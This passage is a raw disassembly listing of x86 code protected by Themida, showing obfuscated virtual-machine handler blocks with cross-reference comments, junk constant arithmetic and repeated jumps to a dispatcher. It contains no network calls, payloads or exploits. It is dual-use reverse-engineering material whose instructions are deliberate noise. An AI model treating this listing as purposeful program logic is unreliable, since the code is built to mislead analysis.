[esp] jmp loc_554A25 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5517A1: ; CODE XREF: Themida_:00550693j pop ebp xor edi, 77DE1BC1h push edi xor dword ptr [esp], 13A2350h jmp loc_55264A ; --------------------------------------------------------------------------- loc_5517B5: ; CODE XREF: Themida_:00552532j mov ebx, [esp] add esp, 4 add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5588F1 ; --------------------------------------------------------------------------- loc_5517D2: ; CODE XREF: Themida_:005521C1j mov dl, 88h push ax mov al, 57h xor dl, al pop ax sub esp, 4 mov [esp], ecx mov cl, 0B0h shl cl, 7 shr cl, 4 add cl, 5Eh add dl, cl pop ecx push ebx push 1E9Ch jmp loc_558DFA ; --------------------------------------------------------------------------- loc_5517FB: ; CODE XREF: Themida_:00553B56j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_551800: ; CODE XREF: Themida_:005581AFj jmp loc_5502AA ; --------------------------------------------------------------------------- loc_551805: ; CODE XREF: Themida_:0054FC4Aj add bl, 81h movzx eax, al push dword ptr [edi+eax*4] jmp loc_550A6B ; --------------------------------------------------------------------------- loc_551813: ; CODE XREF: Themida_:00554661j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_551818: ; CODE XREF: Themida_:0055A0CDj mov ebx, 0FFFFFFFFh add edx, ebx pop ebx push ebp mov ebp, 2CB92C2Fh sub edx, 630063A7h sub edx, ebp add edx, 630063A7h pop ebp add ecx, edx pop edx xchg ecx, [esp] pop esp idiv ecx push ebp push esp pop ebp push 60AFh mov [esp], edx push esi mov esi, 352317C2h inc esi push ebx mov ebx, 2EC919CDh shl ebx, 4 sub ebx, 0C45D776Bh sub esi, ebx jmp loc_5562D3 ; --------------------------------------------------------------------------- loc_551866: ; CODE XREF: Themida_:00551C87j pop esp push dword ptr [esp] pop eax jmp loc_55AC38 ; --------------------------------------------------------------------------- loc_551870: ; CODE XREF: Themida_:00554889j shl ebx, 1 push edx jmp loc_559339 ; --------------------------------------------------------------------------- loc_551878: ; CODE XREF: Themida_:005530DCj add ebx, eax mov eax, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] push 49F1h jmp loc_555EF6 ; --------------------------------------------------------------------------- loc_551893: ; CODE XREF: Themida_:00558E33j sub eax, 17AD30A8h add eax, ebp push ecx mov ecx, 4B14229h add ecx, 7E5C6DEFh neg ecx add ecx, 453A2163h neg ecx sub ecx, 3A806F94h jmp loc_559606 ; --------------------------------------------------------------------------- loc_5518BB: ; CODE XREF: Themida_:00555B7Cj push small 2516h mov [esp], dx push ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5518CB: ; CODE XREF: Themida_:00558E7Aj add esp, 4 xor edi, ebp mov ebp, [esp] add esp, 4 and eax, edi mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] push 745h jmp loc_555C2B ; --------------------------------------------------------------------------- loc_5518F2: ; CODE XREF: Themida_:005595B6j add ecx, 0FFFFFFFFh add ecx, 0FFFFFFFFh sub ecx, 820C705Fh add eax, ecx jmp loc_55B150 ; --------------------------------------------------------------------------- loc_551908: ; CODE XREF: Themida_:00551BC2j pop edx add edx, 372702E2h jmp loc_550D05 ; --------------------------------------------------------------------------- loc_551914: ; CODE XREF: Themida_:00552D8Bj add esp, 4 add esp, 4 jmp loc_55AFD6 ; --------------------------------------------------------------------------- loc_55191F: ; CODE XREF: Themida_:00550F97j push edx mov edx, 4 add ecx, edx pop edx xchg ecx, [esp] pop esp mov edx, [esp] add esp, 4 push edx jmp loc_55655A ; --------------------------------------------------------------------------- loc_551938: ; CODE XREF: Themida_:00554618j mov edi, ebp pop ebp mov edx, edi pop edi push edx mov edx, 27A11745h not edx xor edx, 224F5716h jmp loc_5569CB ; --------------------------------------------------------------------------- mov cx, [esp] push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push ecx mov ecx, 7F9939BAh not ecx shl ecx, 7 add ecx, 0CC9CDD84h sub ebx, 200D5E3Ah add ebx, ecx add ebx, 200D5E3Ah mov ecx, [esp] jmp loc_551DC9 ; --------------------------------------------------------------------------- loc_55198B: ; CODE XREF: Themida_:00557E58j mov ecx, 5EC725DAh not ecx jmp loc_55991D ; --------------------------------------------------------------------------- loc_551997: ; CODE XREF: Themida_:0055B077j mov [esp], ecx push eax push 3270175Ah jmp loc_54ED11 ; --------------------------------------------------------------------------- loc_5519A5: ; CODE XREF: Themida_:005563B9j pop esp push ecx push esp jmp loc_5558BC ; --------------------------------------------------------------------------- loc_5519AD: ; CODE XREF: Themida_:00553738j mov edx, 56765F3h and edx, 0CB25E3Fh jmp loc_559F10 ; --------------------------------------------------------------------------- loc_5519BD: ; CODE XREF: Themida_:0055A794j add eax, 0FFFFFFFFh not eax shr eax, 3 push ebx mov ebx, 9D7FE2B0h xor eax, ebx jmp loc_559FA8 ; --------------------------------------------------------------------------- loc_5519D2: ; CODE XREF: Themida_:0055596Fj add ebp, ebx pop ebx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push 56AAh mov [esp], edi push 80h mov edi, [esp] jmp loc_5507D9 ; --------------------------------------------------------------------------- loc_5519F6: ; CODE XREF: Themida_:0054EE64j pop ebx add edx, 0ADCACF50h add eax, 3AAC3E89h add eax, edx sub eax, 3AAC3E89h pop edx push esi jmp loc_550900 ; --------------------------------------------------------------------------- loc_551A10: ; CODE XREF: Themida_:005569B5j push ecx mov ecx, 58F03EDh jmp loc_557E4C ; --------------------------------------------------------------------------- loc_551A1B: ; CODE XREF: Themida_:0054F216j pop esp mov [esp], edx push esp pop edx push ebp mov ebp, 28F61DCDh shr ebp, 3 or ebp, 2A386B3Ch or ebp, 0AB42DCBh inc ebp shl ebp, 8 sub ebp, 0BEEFFFFCh add edx, ebp push dword ptr [esp] pop ebp add esp, 4 push esi jmp loc_55382B ; --------------------------------------------------------------------------- loc_551A52: ; CODE XREF: Themida_:0054F899j pop esp and ecx, edi mov edi, [esp] push edi jmp loc_559F61 ; --------------------------------------------------------------------------- loc_551A5E: ; CODE XREF: Themida_:00553308j pop ecx add ebx, eax sub ebx, 75496B84h pop eax xchg ebx, [esp] jmp loc_558E3E ; --------------------------------------------------------------------------- loc_551A70: ; CODE XREF: Themida_:00554856j push esp jmp loc_558B43 ; --------------------------------------------------------------------------- loc_551A76: ; CODE XREF: Themida_:00550843j mov ch, 81h mov al, ch pop ecx push 5324h mov [esp], ebx mov bh, al mov dl, bh pop ebx mov eax, [esp] push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 4 push 343Ah mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp or dl, 0C9h jmp loc_54F733 ; --------------------------------------------------------------------------- loc_551ABB: ; CODE XREF: Themida_:005562DDj mov edx, esi pop esi sub edx, 48433B77h sub edx, 9C92112h dec edx not edx neg edx jmp loc_558FB0 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push esp jmp loc_552F40 ; --------------------------------------------------------------------------- loc_551AF3: ; CODE XREF: Themida_:0054F67Bj add edx, 3C394FC7h add edx, ebx sub edx, 3C394FC7h sub edx, 581E1EDEh pop ebx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_54EC18 ; --------------------------------------------------------------------------- loc_551B19: ; CODE XREF: Themida_:0054FDA6j sub edi, 4 xchg edi, [esp] jmp loc_551D41 ; --------------------------------------------------------------------------- loc_551B27: ; CODE XREF: Themida_:00559E02j sub esp, 4 mov [esp], esi mov esi, 1F5C7837h shl esi, 1 add esi, 0C1470F94h sub ebx, esi mov esi, [esp] add esp, 4 xor ebx, [esp] jmp loc_553DE4 ; --------------------------------------------------------------------------- loc_551B4A: ; CODE XREF: Themida_:0055441Aj pop esi jmp loc_55998F ; --------------------------------------------------------------------------- loc_551B50: ; CODE XREF: Themida_:00550196j mov ebx, [esp] add esp, 4 popa popf jmp locret_558851 ; --------------------------------------------------------------------------- loc_551B5D: ; CODE XREF: Themida_:00555E9Fj mov edx, esp push edi push ebx mov ebx, 2EFA01CBh jmp loc_55388E ; --------------------------------------------------------------------------- loc_551B6B: ; CODE XREF: Themida_:00555D58j xor eax, ecx push 19E4h mov [esp], edx mov edx, esp jmp loc_55AA24 ; --------------------------------------------------------------------------- loc_551B7C: ; CODE XREF: Themida_:005571C9j push 543Eh mov [esp], ebx sub esp, 4 mov [esp], edx push edi jmp loc_5586A5 ; --------------------------------------------------------------------------- lodsb jmp loc_55B1E0 ; --------------------------------------------------------------------------- loc_551B96: ; CODE XREF: Themida_:005514F0j mov edx, 0 jmp loc_556B36 ; --------------------------------------------------------------------------- loc_551BA0: ; CODE XREF: Themida_:0055ADEFj add edi, ecx push dword ptr [esp] pop ecx add esp, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_551297 ; --------------------------------------------------------------------------- loc_551BBD: ; CODE XREF: Themida_:00550666j push 4B7A2CE8h jmp loc_551908 ; --------------------------------------------------------------------------- loc_551BC7: ; CODE XREF: Themida_:00559B06j pop ebx xchg edi, [esp] pop esp pop dword ptr [esp] pop esp ror word ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_551BDA: ; CODE XREF: Themida_:005589F2j pop edi sub esi, 5504705Eh jmp loc_554A1E ; --------------------------------------------------------------------------- loc_551BE6: ; CODE XREF: Themida_:0055765Aj mov ebp, edi push dword ptr [esp] pop edi add esp, 4 and eax, ebp push dword ptr [esp] pop ebp add esp, 4 or eax, eax jz loc_555B2F push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_5556EF ; --------------------------------------------------------------------------- loc_551C0B: ; CODE XREF: Themida_:005564BFj mov edx, 45E871B5h shr edx, 3 push ecx jmp loc_54F36A ; --------------------------------------------------------------------------- loc_551C19: ; CODE XREF: Themida_:0055A87Cj shr edx, 7 jmp loc_5525A9 ; --------------------------------------------------------------------------- loc_551C21: ; CODE XREF: Themida_:0054FC3Dj mov esi, ebx pop ebx add esi, 1C7821A6h jmp loc_54FF36 ; --------------------------------------------------------------------------- loc_551C2F: ; CODE XREF: Themida_:005538E6j push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 push 66B7h mov [esp], ebx mov ebx, esp push ebp push edx mov edx, 23374975h push esi mov esi, 27AF3227h not esi jmp loc_55AE7D ; --------------------------------------------------------------------------- loc_551C59: ; CODE XREF: Themida_:00557FA3j push 221h mov [esp], esp add dword ptr [esp], 4 jmp loc_552305 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_550F9C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_550F16 ; --------------------------------------------------------------------------- loc_551C81: ; CODE XREF: Themida_:00557355j add edi, ecx pop ecx xchg edi, [esp] jmp loc_551866 ; --------------------------------------------------------------------------- loc_551C8C: ; CODE XREF: Themida_:00552A81j add eax, 4 add eax, 4 push 794Ah mov [esp], eax push dword ptr [esp+4] jmp loc_556901 ; --------------------------------------------------------------------------- loc_551CA7: ; CODE XREF: Themida_:0055AEF9j pop ecx add esp, 4 jmp loc_55633C ; --------------------------------------------------------------------------- loc_551CB3: ; CODE XREF: Themida_:00559BE2j add edx, esi pop esi jmp loc_551F60 ; --------------------------------------------------------------------------- loc_551CBB: ; CODE XREF: Themida_:0055A3F3j xor ebx, 185D02B1h not ebx sub ebx, 0E777C9B3h sub edi, 15006B4Dh add edi, ebx push ebp push eax push 1D31789Ah pop eax add eax, 6C2A1759h sub eax, 51593173h add eax, 2A03EBCAh mov ebp, eax jmp loc_5568E6 ; --------------------------------------------------------------------------- loc_551CEF: ; CODE XREF: Themida_:0054F72Ej add esp, 4 mov edx, [esp] add esp, 4 push edi jmp loc_54F6FB ; --------------------------------------------------------------------------- loc_551D01: ; CODE XREF: Themida_:00554684j xor [esp], ebp jmp loc_555B75 ; --------------------------------------------------------------------------- loc_551D09: ; CODE XREF: Themida_:00558ED0j mov edi, esp push eax mov eax, 4 add edi, eax jmp loc_553D86 ; --------------------------------------------------------------------------- loc_551D18: ; CODE XREF: Themida_:005573ACj mov ecx, 69A16BD7h xor esi, ecx jmp loc_55674B ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] mov eax, [esp] push edi push esp mov edi, [esp] push ebp sub esp, 4 jmp loc_553D8D ; --------------------------------------------------------------------------- loc_551D3B: ; CODE XREF: Themida_:005526A3j inc ebp jmp loc_55966D ; --------------------------------------------------------------------------- loc_551D41: ; CODE XREF: Themida_:00551B22j pop esp mov [esp], esp jmp loc_54F96B ; --------------------------------------------------------------------------- loc_551D4A: ; CODE XREF: Themida_:00555312j pop esi sub edx, 35E50B5Fh sub edx, ecx jmp loc_555EAA ; --------------------------------------------------------------------------- loc_551D58: ; CODE XREF: Themida_:0055A53Dj mov [esp], ax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_551D61: ; CODE XREF: Themida_:0055603Ej push esi jmp loc_557874 ; --------------------------------------------------------------------------- loc_551D67: ; CODE XREF: Themida_:00554BEDj mov ebx, [esp] add esp, 4 add ebp, ecx mov ecx, [esp] add esp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_551D8C: ; CODE XREF: Themida_:00557545j mov ebp, 2E01D55Ah add edx, ebp jmp loc_5582A3 ; --------------------------------------------------------------------------- loc_551D98: ; CODE XREF: Themida_:00550D91j xor ebx, eax jmp loc_5575B6 ; --------------------------------------------------------------------------- loc_551D9F: ; CODE XREF: Themida_:00553FDDj sub ebx, 1CBB3085h pop eax xchg ebx, [esp] pop esp bswap eax push ebp jmp loc_5521C6 ; --------------------------------------------------------------------------- loc_551DB2: ; CODE XREF: Themida_:0055B18Cj inc cl push ebx mov bh, 5Ah jmp loc_54F7CF ; --------------------------------------------------------------------------- loc_551DBC: ; CODE XREF: Themida_:0055266Fj push ebp mov ebp, 19B22D82h xor edi, ebp jmp loc_5532CD ; --------------------------------------------------------------------------- loc_551DC9: ; CODE XREF: Themida_:00551986j add esp, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_551266 ; --------------------------------------------------------------------------- loc_551DDA: ; CODE XREF: Themida_:00551FCAj pop eax jmp loc_55AA39 ; --------------------------------------------------------------------------- loc_551DE0: ; CODE XREF: Themida_:0055750Ej pop ecx pop dword ptr [esp] pop esp push edx mov dh, 0B5h dec dh push ecx push ebx mov bh, 0ACh not bh sub bh, 4Eh neg bh and bh, 5Ch inc bh sub bh, 0C7h jmp loc_5513F6 ; --------------------------------------------------------------------------- loc_551E02: ; CODE XREF: Themida_:00557905j pop ecx pop ebx push ecx mov ecx, 4 jmp loc_5578C6 ; --------------------------------------------------------------------------- loc_551E0F: ; CODE XREF: Themida_:00555239j mov al, dl pop edx sub bl, al pop eax sub bl, 80h add bl, al add bl, 80h jmp loc_55504A ; --------------------------------------------------------------------------- loc_551E22: ; CODE XREF: Themida_:00550083j push eax mov eax, 0 add eax, edx add dword ptr [eax], 1 pop eax pop edx loc_551E32: ; CODE XREF: Themida_:0055AF9Dj push 35A0h mov [esp], ebx push dword ptr [esp] jmp loc_54EC95 ; --------------------------------------------------------------------------- loc_551E42: ; CODE XREF: Themida_:005580B9j add ecx, edi pop edi xchg ecx, [esp] pop esp jmp loc_557253 ; --------------------------------------------------------------------------- loc_551E4E: ; CODE XREF: Themida_:0054F365j sub esi, 5B5A450Dh pop edi xchg esi, [esp] pop esp movzx ecx, al push edi mov edi, esp push ebx mov ebx, 198874A1h inc ebx not ebx not ebx xor ebx, 198874A6h add edi, ebx pop ebx push eax push 4657h mov [esp], esi mov esi, 4 push ecx push esi xor dword ptr [esp], 1A761087h pop ecx push eax mov eax, 439862EDh sub eax, 4E7B5DD1h shl eax, 7 or eax, 41CA7D03h neg eax sub eax, 15BEF076h xor ecx, eax mov eax, [esp] add esp, 4 mov eax, ecx jmp loc_555885 ; --------------------------------------------------------------------------- loc_551EB7: ; CODE XREF: Themida_:005558B7j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_554BA5 ; --------------------------------------------------------------------------- loc_551ECA: ; CODE XREF: Themida_:00553938j pop eax xor eax, ebx jmp loc_550C04 ; --------------------------------------------------------------------------- loc_551ED2: ; CODE XREF: Themida_:0055AF04j add esi, eax pop eax push edx mov edx, 2EE9076Ah sub edx, 49892241h jmp loc_54ED63 ; --------------------------------------------------------------------------- loc_551EE6: ; CODE XREF: Themida_:00558A9Dj add ecx, 14FB307Eh push eax mov eax, 58FAA87Ch sub ecx, eax jmp loc_55623C ; --------------------------------------------------------------------------- loc_551EF9: ; CODE XREF: Themida_:00558D24j pop esp mov [esp], ebp mov ebp, 64615EFFh push ecx mov ecx, 7B4707F3h sub eax, ecx pop ecx push ebp mov ebp, 427864F7h or ebp, 4DC174F9h shr ebp, 4 shl ebp, 7 jmp loc_54EFD0 ; --------------------------------------------------------------------------- loc_551F22: ; CODE XREF: Themida_:00553C24j xor ah, ch xchg al, ch push small 11FBh mov [esp], bx mov bl, al not bl mov al, bl mov bx, [esp] add esp, 2 xor ch, al xor al, ch xor ch, al push bx mov bl, ch mov ch, ah mov ah, bl pop bx push edx push ecx mov cl, ah mov dl, cl pop ecx mov ah, [esp+4] mov [esp+4], dl pop edx jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_551F60: ; CODE XREF: Themida_:00551CB6j xor eax, edx mov edx, [esp] jmp loc_55AB46 ; --------------------------------------------------------------------------- loc_551F6A: ; CODE XREF: Themida_:005584AFj or esi, 66320E4Dh add esi, 1002101h sub esi, eax jmp loc_55015E ; --------------------------------------------------------------------------- loc_551F7D: ; CODE XREF: Themida_:00559A1Ej push ebp not dword ptr [esp] pop ebp shr ebp, 5 sub ebp, 0D1A687D5h add edx, ebp pop ebp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_551F93: ; CODE XREF: Themida_:0055160Aj push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54FFF9 ; --------------------------------------------------------------------------- loc_551FA7: ; CODE XREF: Themida_:00558B78j add eax, 0C21CCE93h add esi, eax mov eax, [esp] add esp, 4 push edx mov edx, 4 sub esi, edx pop edx xchg esi, [esp] mov esp, [esp] mov [esp], eax push dword ptr [esp+4] jmp loc_551DDA ; --------------------------------------------------------------------------- loc_551FCF: ; CODE XREF: Themida_:005534B4j mov edx, 6E27019Ah jmp loc_558F68 ; --------------------------------------------------------------------------- loc_551FD9: ; CODE XREF: Themida_:0054FBF8j add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov ax, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5561B5 ; --------------------------------------------------------------------------- loc_552000: ; CODE XREF: Themida_:00558159j sub edx, ebp jmp loc_55599B ; --------------------------------------------------------------------------- loc_552007: ; CODE XREF: Themida_:00556F80j pop dword ptr [esp] mov esp, [esp] push ebx push eax sub esp, 4 mov [esp], ecx mov ch, 0A1h inc ch not ch shr ch, 5 or ch, 7Dh add ch, 66h mov ah, ch pop ecx push edx mov dl, 5Ch add dl, 0F3h add ah, 30h jmp loc_55812C ; --------------------------------------------------------------------------- loc_552035: ; CODE XREF: Themida_:0055A776j pop ecx not ebx inc ebx xchg edi, ebx not edi jmp loc_552C21 ; --------------------------------------------------------------------------- loc_552042: ; CODE XREF: Themida_:0055161Dj add al, dh pop edx push 561Ch mov [esp], edx push eax mov ah, 0E2h jmp loc_55A2D4 ; --------------------------------------------------------------------------- loc_552055: ; CODE XREF: Themida_:0054F10Bj sub esp, 2 mov [esp], ax jmp loc_552883 ; --------------------------------------------------------------------------- loc_552061: ; CODE XREF: Themida_:005579C9j mov edx, [esp] jmp loc_550863 ; --------------------------------------------------------------------------- loc_552069: ; CODE XREF: Themida_:00555D26j add esp, 4 sub esi, 2232189Eh xor esi, 14B77A5Fh add esi, 77C802C3h xor esi, 0F2BF0218h add ebx, esi pop esi jmp loc_55666A ; --------------------------------------------------------------------------- loc_55208C: ; CODE XREF: Themida_:00555A0Ej mov ecx, [esp] add esp, 4 push esi jmp loc_55794C ; --------------------------------------------------------------------------- loc_552098: ; CODE XREF: Themida_:00550F89j mov eax, 4 push edi jmp loc_5538EB ; --------------------------------------------------------------------------- loc_5520A3: ; CODE XREF: Themida_:00556B5Dj xor edi, [esp] xor [esp], edi jmp loc_559324 ; --------------------------------------------------------------------------- loc_5520AE: ; CODE XREF: Themida_:00558DC3j push esi mov esi, esp push 2AF1h mov [esp], eax mov eax, esp push ebx jmp loc_559720 ; --------------------------------------------------------------------------- loc_5520C1: ; CODE XREF: Themida_:005551A6j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 push dword ptr [esp] mov ecx, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_552EEA ; --------------------------------------------------------------------------- loc_5520FB: ; CODE XREF: Themida_:00559C30j mov esp, [esp] sub [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_552108: ; CODE XREF: Themida_:00552D4Aj sub ecx, 0E1D2BE0h pop esi xchg ecx, [esp] jmp loc_55759B ; --------------------------------------------------------------------------- loc_552117: ; CODE XREF: Themida_:00552908j pop ecx add al, 98h sub bl, 97h jmp loc_559E20 ; --------------------------------------------------------------------------- loc_552122: ; CODE XREF: Themida_:0055ADD5j add esp, 4 jmp loc_557783 ; --------------------------------------------------------------------------- loc_55212D: ; CODE XREF: Themida_:00559F26j push esi mov esi, 675613ADh push ecx jmp loc_555D7D ; --------------------------------------------------------------------------- loc_552139: ; CODE XREF: Themida_:0054EE83j add ebx, ecx pop ecx jmp loc_5530D6 ; --------------------------------------------------------------------------- loc_552141: ; CODE XREF: Themida_:00552F9Aj push ebp not dword ptr [esp] jmp loc_54F3D8 ; --------------------------------------------------------------------------- loc_55214A: ; CODE XREF: Themida_:005575BEj add ebx, 4 jmp loc_5536AE ; --------------------------------------------------------------------------- loc_552155: ; CODE XREF: Themida_:005594B9j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55215A: ; CODE XREF: Themida_:005522C0j sub ebx, 44003445h add ebx, eax add ebx, 44003445h pop eax and ecx, ebx pop ebx shr ecx, 0 or eax, eax jz loc_559296 push 36E4h mov [esp], ecx push 6AD2h jmp loc_556A6B ; --------------------------------------------------------------------------- loc_552189: ; CODE XREF: Themida_:005501F2j mov ecx, [esp] add esp, 4 pop eax push ebp push esi mov esi, 27015050h push edx mov edx, 15757AA9h xor esi, edx pop edx jmp loc_55A07C ; --------------------------------------------------------------------------- mov ax, [esp] push ecx jmp loc_5505D2 ; --------------------------------------------------------------------------- loc_5521AF: ; CODE XREF: Themida_:00559D41j shr ch, 1 xor ch, 0ECh sub ch, 15h jmp loc_55384C ; --------------------------------------------------------------------------- lodsb xor al, bl push dx jmp loc_5517D2 ; --------------------------------------------------------------------------- loc_5521C6: ; CODE XREF: Themida_:00551DADj mov ebp, esp push edx mov edx, 11E817E9h and edx, 3E8431DFh jmp loc_5573C2 ; --------------------------------------------------------------------------- loc_5521D9: ; CODE XREF: Themida_:005568C8j mov [esp], ebp mov ebp, 0FF05594h or ebp, 27631F68h jmp loc_55888D ; --------------------------------------------------------------------------- loc_5521EC: ; CODE XREF: Themida_:00559FC4j add esi, 28B61C40h sub esi, 5B564B16h mov ecx, esi mov esi, [esp] add esp, 4 sub esi, 26DD46FBh sub esi, ecx add esi, 26DD46FBh pop ecx mov edx, esi pop esi add edx, edi push dword ptr [edx] add dword ptr [esp], 73A12197h push dword ptr [esp] pop eax add esp, 4 sub eax, 73A12197h pop edx push 5069h jmp loc_558D0E ; --------------------------------------------------------------------------- loc_552237: ; CODE XREF: Themida_:00557E6Ej push ebx mov ebx, 508013A6h sub eax, ebx pop ebx sub eax, edx add eax, 508013A6h add eax, 515424B6h push dword ptr [esp] pop edx add esp, 4 push ecx push edi mov edi, 35C2778Ch push ebx mov ebx, 4CFF7C3Bh add ebx, 40590298h add ebx, 1E0C2777h add ebx, 1 sub ebx, 1 and ebx, 35A464B7h xor ebx, 655C3664h add edi, ebx pop ebx sub esp, 4 mov [esp], ebp mov ebp, 3536ADDh jmp loc_552BE5 ; --------------------------------------------------------------------------- loc_55229D: ; CODE XREF: Themida_:005511A9j add ebx, esi pop esi add ebx, 4 push ebx jmp loc_55246F ; --------------------------------------------------------------------------- loc_5522A9: ; CODE XREF: Themida_:0055356Aj shr eax, 18h jmp loc_5527B7 ; --------------------------------------------------------------------------- loc_5522B1: ; CODE XREF: Themida_:00555C96j mov cx, 69Bh sub cx, 3F09h jmp loc_554787 ; --------------------------------------------------------------------------- loc_5522BF: ; CODE XREF: Themida_:0055117Fj pop edi jmp loc_55215A ; --------------------------------------------------------------------------- loc_5522C5: ; CODE XREF: Themida_:00553A48j push ebp mov ebp, 7B9B5089h add ebp, 42ED7AAFh jmp loc_550342 ; --------------------------------------------------------------------------- loc_5522D6: ; CODE XREF: Themida_:00557309j push edx jmp loc_5546B5 ; --------------------------------------------------------------------------- loc_5522DC: ; CODE XREF: Themida_:005574C8j push ebx add dword ptr [esp], 57A728DCh jmp loc_54F011 ; --------------------------------------------------------------------------- loc_5522E9: ; CODE XREF: Themida_:00556E00j and edx, ebx pop ebx jmp loc_556CDE ; --------------------------------------------------------------------------- loc_5522F1: ; CODE XREF: Themida_:0055AB84j add ebx, 3DDD3591h push dword ptr [esp] pop eax push 7D25h jmp loc_55601B ; --------------------------------------------------------------------------- loc_552305: ; CODE XREF: Themida_:00551C68j pop ebp add ebp, 4 push esi jmp loc_5566B7 ; --------------------------------------------------------------------------- loc_552312: ; CODE XREF: Themida_:005558D4j xor [esp], ecx xor ecx, [esp] jmp loc_550307 ; --------------------------------------------------------------------------- loc_55231D: ; CODE XREF: Themida_:005550F3j pop edi add esp, 4 jmp loc_55274F ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 18BEh jmp loc_5537F9 ; --------------------------------------------------------------------------- loc_55233C: ; CODE XREF: Themida_:005587B9j add edi, 3EFE7CB4h shr edi, 7 and edi, 4E2864E4h jmp loc_557C4B ; --------------------------------------------------------------------------- loc_552350: ; CODE XREF: Themida_:00558E8Aj jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_552355: ; CODE XREF: Themida_:0055474Dj add esp, 4 inc eax push edi mov edi, 26806B17h sub edi, 41B52E93h or edi, 55EE0D36h shr edi, 5 add edi, 0C26200Ah dec edi add edi, 0E5E6D31Ch sub eax, edi pop edi jmp loc_5508E5 ; --------------------------------------------------------------------------- loc_552386: ; CODE XREF: Themida_:00550596j pop ebx jmp loc_552A1E ; --------------------------------------------------------------------------- loc_55238C: ; CODE XREF: Themida_:0055A3E1j mov esp, [esp] push dword ptr [esp] jmp loc_54FC22 ; --------------------------------------------------------------------------- loc_552397: ; CODE XREF: Themida_:005548FCj push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx pop ebx push ebx mov ebx, 698F44F8h dec ebx not ebx shr ebx, 2 sub esp, 4 mov [esp], eax push ecx mov ecx, 3CC35DE9h jmp loc_556993 ; --------------------------------------------------------------------------- loc_5523C0: ; CODE XREF: Themida_:00554737j shl word ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5523CA: ; CODE XREF: Themida_:005578D9j pop edi push edx mov edx, 19AB4197h or ebp, edx pop edx jmp loc_5572AC ; --------------------------------------------------------------------------- loc_5523D9: ; CODE XREF: Themida_:0055AE32j movzx cx, ah jmp loc_554EB9 ; --------------------------------------------------------------------------- mov ax, [esp] push 36C1h mov [esp], ebx mov ebx, esp push ecx mov ecx, 4 push 3FB6h mov [esp], edi mov edi, 15361E23h xchg ecx, edi not ecx xchg ecx, edi shl edi, 4 push ebx jmp loc_5527EF ; --------------------------------------------------------------------------- loc_552412: ; CODE XREF: Themida_:0055998Aj sub al, ch jmp loc_558708 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_555CCC ; --------------------------------------------------------------------------- loc_552422: ; CODE XREF: Themida_:0055AD69j or ecx, 60D31519h jmp loc_54FA81 ; --------------------------------------------------------------------------- loc_55242D: ; CODE XREF: Themida_:00556746j push eax sub esp, 4 jmp loc_556797 ; --------------------------------------------------------------------------- loc_552439: ; CODE XREF: Themida_:005516E1j mov ecx, esp jmp loc_558D29 ; --------------------------------------------------------------------------- loc_552440: ; CODE XREF: Themida_:00555395j sub ebx, edx sub ebx, 4FDF44C0h pop edx pop dword ptr [eax] jmp loc_54F6B3 ; --------------------------------------------------------------------------- loc_552450: ; CODE XREF: Themida_:00550A96j not ebp sub ebp, 46C07058h or ebp, 5368144Ah jmp loc_553512 ; --------------------------------------------------------------------------- loc_552463: ; CODE XREF: Themida_:00557F4Aj push dword ptr [edi+eax*4] mov eax, [esp] push ebx jmp loc_5536C2 ; --------------------------------------------------------------------------- loc_55246F: ; CODE XREF: Themida_:005522A4j push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_556E3A ; --------------------------------------------------------------------------- loc_552482: ; CODE XREF: Themida_:0054FF25j mov ah, 88h jmp loc_54EB00 ; --------------------------------------------------------------------------- loc_552489: ; CODE XREF: Themida_:0054F411j sub al, dl mov edx, [esp] add esp, 4 jmp loc_55071E ; --------------------------------------------------------------------------- lodsb push small 1FFAh mov [esp], cx push eax mov ah, 28h sub ah, 